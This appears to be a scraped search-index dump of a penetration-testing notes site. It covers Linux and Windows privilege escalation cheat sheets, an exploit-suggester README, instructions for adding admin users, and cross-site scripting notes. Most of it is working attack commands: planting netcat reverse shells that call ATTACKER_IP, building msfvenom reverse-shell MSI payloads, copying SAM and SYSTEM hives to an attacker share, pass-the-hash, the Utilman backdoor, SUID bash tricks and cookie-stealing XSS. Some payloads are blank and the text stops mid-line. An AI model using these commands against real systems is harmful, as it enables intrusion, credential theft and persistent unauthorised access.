CVE-2017-16695\n Source: http://www.exploit-db.com/exploits/45010\n```\n\nUse the **-k** flag to manually enter a wildcard for the kernel/operating system release version.\n\n```\n$ ./linux-exploit-suggester.pl -k 3\n```\n\nUse the **-d** flag to open a download menu to retrieve exploit code directly from Exploit DB. You can either download all exploits or select them individually by number.\n\n```\n$ ./linux-exploit-suggester.pl -d\n\n Exploit Download\n (Download all: 'a' / Individually: '2,4,5' / Exit: ^c)\n Select exploits to download: a\n\n Downloading https://www.exploit-db.com/raw/40871 -> exploit_af_packet\n Downloading https://www.exploit-db.com/raw/40616 -> exploit_dirty_cow\n Downloading https://www.exploit-db.com/raw/45697 -> exploit_exploit_x\n Downloading https://www.exploit-db.com/raw/45010 -> exploit_get_rekt\n```\n\nUse the **-h** flag to display the help menu\n\nContributing\n============\n\nThis project is in active development. Feel free to suggest a new feature or open a pull request!\n","description":"","tags":[],"title":"","uri":"/post exploitation/priv_esc/kernel-exploits/linux-exploit-suggester-2/README.html"},{"content":"pspy\n* Snoop processes withou root permissions\n* [Repo](https://github.com/DominicBreuker/pspy.git)\n\n","description":"","tags":[],"title":"pspy","uri":"/post exploitation/priv_esc/docs/pspy.html"},{"content":"Linux Privilege Escalation\n## Links\n* [Basics](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)\n* [LinEnum](https://github.com/rebootuser/LinEnum)\n* [Smart Enumeration](https://github.com/diego-treitos/linux-smart-enumeration/blob/master/lse.sh)\n* [Linux Exploit Suggester](https://github.com/mzet-/linux-exploit-suggester)\n* [GTFObins](https://gtfobins.github.io/) \n* [Linpeas](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)\n\n## Kernel Exploits\n\n### Dirty COW\n* [CVE-2016-5195](https://dirtycow.ninja/)\n* [c0w.c](../kernel-exploits/dirtycow)\n\n## Stored Keys & Passwords\n* History\n* Environment Variables \n* Config + Dot Files\n* SSH keys\n```sh\nfind / -type f -name \"authorized_keys\" -o -name \"id_rsa\" 2>/dev/null\n```\n\n## Permissions\n* Weak permissions\n* Umask\n* Unshadow via `unshadow /etc/passd /etc/shadow > unshadow.txt` and john or hashcat.\n * e.g. `john --wordlist=./wordlist --format=crypt hash`\n* SUID\n * list\n ```sh\n find / -perm /6000 -ls 2>dev/null\n ```\n * [Shared object injection](../../../exploit/linux/shared_object_injection.md)\n * [CVE-2016-1247](https://www.cvedetails.com/cve/CVE-2016-1247/)\n* User specific files\n```sh\nfind / -user root -name \"*.txt\"\n```\n\n## Sudo Binary\n* [Baron Samedit](../../../exploit/linux/sudo/baron_samedit.md)\n* [CVE-2019-14287](../../../exploit/linux/sudo/CVE_2019_14287.md)\n* [CVE-2019-18634](../../../exploit/linux/sudo/CVE_2019_18634.md)\n* [LD_PRELOAD](../../../exploit/linux/ld_preload.md)\n* `sudo -l` \n * Take a look at GTFObins\n * Keep an eye on the displayed host and env capabilities \n \n## PATH Hijacking\n* Interpositioning binaries via PATH\n * Look for binaries used in other bins and scripts\n * Interposition name and add the directory in front of `$PATH`\n\n## Bash function\n* Interpositioning of binaries via bash functions\n```sh\nfunction /path/to/binary() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }\n```\n```sh\nexport -f /path/to/binary\n```\n* Call binary which invokes this function\n\n## Environment Variable\n```sh\nenv -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp && chown root.root /tmp/bash && chmod +s /tmp/bash)' /bin/sh -c '; set +x; /tmp/bash -p'\n```\n\n## Capabilities\n* [capabilities](../../../exploit/linux/capabilities.md)\n\n## Crontab\n* Check `cat /etc/crontab`\n* Check writable scripts and binaries that are scheduled\n* Check `$PATH` order\n\n## NFS Rootsquash\n* [nfs rootsquash](../../../exploit/linux/nfs_rootsquash.md)\n","description":"","tags":[],"title":"Linux Privilege Escalation","uri":"/post exploitation/priv_esc/docs/linux_priv_esc.html"},{"content":"Windows Privilege Escalation\n## Links\n* [Fundamentals](https://www.fuzzysecurity.com/tutorials/16.html)\n* [PowerShellEmpire](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp)\n* [JAWS](https://github.com/411Hall/JAWS)\n* [winpeas](https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS)\n* [privescheck](https://github.com/itm4n/PrivescCheck)\n* [windows exploit suggester](https://github.com/bitsadmin/wesng)\n* [hacktricks](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation)\n\n## Account Types\n\n* __Administrator__ local & domain\n* __Standard__ local & domain\n* __Guest__\n* __System__, local system, final escalation\n* __Local Service__, got anonymous connections over network.\n* __Network Service__, default service account, authentication via network\n## Enumeration\n\n### Users & Groups\n```sh\nwhoami /priv\nnet users\nnet users \nnet localgroup\nnet localgroup \nquery session\nqwinsta\n```\n\n### Files\n\n* [powershell](../../../../enumeration/windows/powershell.md)\n\n### System\n```sh\nhostname\nsysteminfo | findstr /B /C:\"OS Name\" /C:\"OS Version\"\n```\n* Installed software, check for existing exploits\n```sh\nwmic product get name,version,vendor\n```\n* Services\n```sh\nwmic service list brief | findstr \"Running\"\n```\n\n## Exploit\n\n### DLL Hijacking\n* [DLL hijacking](../../../../exploit/windows/dll_hijacking/dll_hijacking.md)\n\n### Unquoted Service Path\n* [unquoted service path](../../../../exploit/windows/docs/unquoted_path.md)\n\n### Token Impersonation\n* `SeImpersonatePrivilege` is necessary, check via `whoami priv`\n* Hot Potato is best before Server 2019 and Windows 10 (version 1809)\n* [Potatos](../../../../exploit/windows/docs/potatoes.md)\n* [itm4n](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/)\n\n### Schedules Tasks\n\n* `schtasks` and `schtasks /query /tn %TASK_NAME% /fo list /v`\n* `Autoruns64.exe`\n\n### MSI Elevated Installer\n\n* [Always install elevated](../../../../exploit/windows/docs/always_installed_elevated.md)\n\n### Search for Credentials\n```sh\ncmdkey /list\n```\n* Use found credentials\n```sh\nrunas /savecred /user: reverse_shell.exe\n```\n* Keys containing passwords\n```\nreg query HKLM /f password /t REG_SZ /s\nreg query HKCU /f password /t REG_SZ /s\n```\n\n### accesschk64 Permissions\n* Check access to files and folders\n```sh\naccesschk64 -wvu \"file.exe\"\n```\n* If permission `SERVICE_CHANGE_CONFIG` is set\n```sh\n sc config binpath=\"net localgroup administrators user /add\"\n```\n* [Service escalation](../../../../exploit/windows/service_escalation/service_escalation.md)\n* Any other binary works as well. Copy the compiled portable executable from the `service_escalation` onto the binary path.Restart the service afterwards.\n\n#### accesschk64 for Services\n```sh\naccesschk64 -qlc \"service.exe\"\n```\n* If permission `SERVICE_ALL_ACCESS` is set it is configurable upload a reverse shell\n```sh\nicacls C:\\Windows\\Temp\\shell.exe /grant Everyone:F\n```\n* Reconfigure and restart service\n```sh\nsc config TheService binPath= \"C:\\Path\\to\\shell.exe\" obj= LocalSystem\nsc stop TheService\nsc start TheService\n```\n\n### Startup Application\n* Put reverse shell instead of an executable inside `C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup` \n\n### Password Mining\n* Set up metasploit\n```sh\nuse auxiliary/server/capture/http_basic\nset srvport 7777\nset uripath pass\n```\n* Visit site on target\n\n### Unattended Windows Installation\n\n* Investigate the following paths to potentially find user credentials\n```sh\nC:\\Unattend.xml\nC:\\Windows\\Panther\\Unattend.xml\nC:\\Windows\\Panther\\Unattend\\Unattend.xml\nC:\\Windows\\system32\\sysprep.inf\nC:\\Windows\\system32\\sysprep\\sysprep.xml\n```\n* Watch out for the `` tags\n\n### Powershell History file\n\n```sh\nGet-Content %userprofile%\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadline\\ConsoleHost_history.txt\n```\n\n### Internet Information Services (IIS)\n\n* Default web server on windows\n* Paths containing credentials are the following\n```sh\nC:\\inetpub\\wwwroot\\web.config\nC:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\web.config\n```\n\n### Putty \n\n* Saved proxy password credentials may be found via\n```sh\nreg query HKEY_CURRENT_USER\\Software\\SimonTatham\\PuTTY\\Sessions\\ /f \"ProxyPassword\" /s\n```\n\n### schtask and icacls\n\n* Check `schtasks /query /tn %TASK_NAME% /fo list /v`\n* Check script for scheduled tasks, `F` means full access\n```sh\nicacls \n```\n* Put payload inside the script\n```sh\necho \"C:\\tmp\\nc.exe -e cmd.exe %ATTACKER_IP% 4711\" > \n```\n* Run the task\n```sh\nschtasks /run /tn \n```\n\n### Always Installs Elevated\n\n* These should be set\n```sh\nC:\\> reg query HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer\nC:\\> reg query HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer\n```\n\n* Craft `*.msi` file with a payload\n```sh\nmsfvenom -p windows/x64/shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT -f msi -o wizard.msi\n```\n\n* Upload and execute via\n```sh\nmsiexec /quiet /qn /i C:\\Windows\\Temp\\wizard.msi\n```\n\n### Service Misconfiguration\n\n* Check services, watch out for `BINARY_PATH_NAME` and `SERVICE_START_NAME`\n```sh\nsc qc apphostsvc\n```\n* Check found permissions via\n```sh\nicacls \n```\n* If the service binary path is writeable move the payload to its path and grant permissions\n```sh\nicacls /grant Everyone:F\n```\n```sh\nsc stop \nsc start \n```\n* Catch the reverse shell service\n\nOthers ways are:\n* Discretionary Access Control (DACL) can be opened via right click on the service and go to properties\n* All services are stored under `HKLM\\SYSTEM\\CurrentControlSet\\Services\\`\n\n### Unquoted Service Path\n\n* If `BINARY_PATH_NAME` spaces are escaped incorrectly. Its path will be resolved to every space from left to right. If there is a binary with a matching name inside the directory it will be started.\n* A created directory at install time inherits the permissions from its parent. Check it via\n```sh\nicacls \n```\n* Use `service-exe` payload in msfvenom upload the payload and move it on the path with the a fitting parital name of the service path\n* Set permissions\n```sh\nicacls C:\\Path/to/service.exe /grant Everyone:F\n```\n\n### Permissions\n\n* [priv2admin](https://github.com/gtworek/Priv2Admin)\n* `whoami /priv`\n\n#### SeBackup / Restore\n* If `SeBackup / SeRestore` (rw on all files) is set an elevated `cmd.exe` may be opened\n* Download `SAM` and `System` hashes\n```sh\nreg save hklm\\system C:\\Windows\\Temp\\system.hive\nreg save hklm\\sam C:\\Windows\\Temp\\sam.hive\n```\n* Start smb server on attack machine\n```sh\ncopy C:\\Windows\\Temp\\sam.hive \\\\ATTACKER_IP\\\ncopy C:\\Windows\\Temp\\system.hive \\\\ATTACKER_IP\\\n```\n* Dump the hashes\n```sh\nsecretsdump.py -sam sam.hive -system system.hive LOCAL\n```\n* Use pass the hash to login \n```sh\npsexec.py -hashes administrator@$TARGET_IP\n```\n\n#### SeTakeOwnership\n* If `SeTakeOwnership` is set one can take ownership of every file or service.\n```sh\ntakeown /f C:\\Windows\\System32\\Utilman.exe\nicacls C:\\Windows\\System32\\Utilman.exe /grant :F\ncopy cmd.exe utilman.exe\n```\n* Log out, on the Login screen click on `Ease of Access`\n\n\n#### SeImpersonate / SeAssignPrimaryToken\n\n* It is a rouge potato\n* Execute process as another user\n* Service accounts operate through impersonation\n* Check privileges via `whoami /priv` for these \n* __Object Exporter Identifier (OXID)__ is executed as via DCOM as a resolver on port 135 to socket of attacker\n```sh\nsocat tcp-listen:135 reuseaddr,fork tcp:$TARGET_IP:1234\n```\n* Catch the potatoe executable from target via netcat\n\n","description":"","tags":[],"title":"Windows Privilege Escalation","uri":"/post exploitation/priv_esc/docs/windows/windows_priv_esc.html"},{"content":"Add user as system user```sh\nnet user /add\n```\n```sh\nnet localgroup Administrator /add\n```\n```sh\nnet localgroup \"Remote Management Users\" /add\n```\n```sh\nnet user \n```\n* connect via winRM\n\n\n","description":"","tags":[],"title":"Add user as system user","uri":"/post exploitation/priv_esc/docs/windows/add_user.html"},{"content":"Usage## Adhoc upload to target via http server\n* on local attacker\n```python3 -m http.server 8000```\nor \n```python -m SimpleHTTPServer```\n\n* on target\n```wget http://:8000/\n```\n\n* Cookie stealing\n\n```javascript\n\n```\n * Navigte to `/logs` and take sid\n\n* Open nc port and collect cookies\n```javascript\n\n\n\n```\n\n## Reflected XSS\nIn a reflected cross-site scripting attack, the malicious payload is part of the victims request to the website. The website includes this payload in response back to the user. To summarise, an attacker needs to trick a victim into clicking a URL to execute their malicious payload.\n* URL parameters inside GET queries\n* File paths\n\n### Usage\nAs script inside parameter\n```sh\nhttp://example.com/search?keyword=\n```\n* Show server IP\n```\nhttp://example.com/reflected?keyword=\n```\n* Session stealing, base64 encoded\n```javascript\n\n```\n * open netcat binder to catch the http queries\n\n## DOM based XSS\nWith DOM-Based xss, an attackers payload will only be executed when the vulnerable Javascript code is either loaded or interacted with. It goes through a Javascript function like so:\n```javascript\nvar keyword = document.querySelector('#search')\nkeyword.innerHTML = \n```\n\n### Usage\n* Find the sub-object inside the document\n```javascript\ntest\" onmouseover=\"alert('YO!')\"\n```\n* Show cookie\n```\ntest\" onmouseover=\"alert(document.cookie)\"\n```\n## Bypass Filters\n* `script>alert(\"1\");</script>\n```\n* `alert()` sanitizing\n```javascript\n0\\\"autofocus/onfocus=alert(1)-->\"-confirm(3)-\"\n```\nor\n```javascript\n0\\\"autofocus/onfocus=alert(1)-->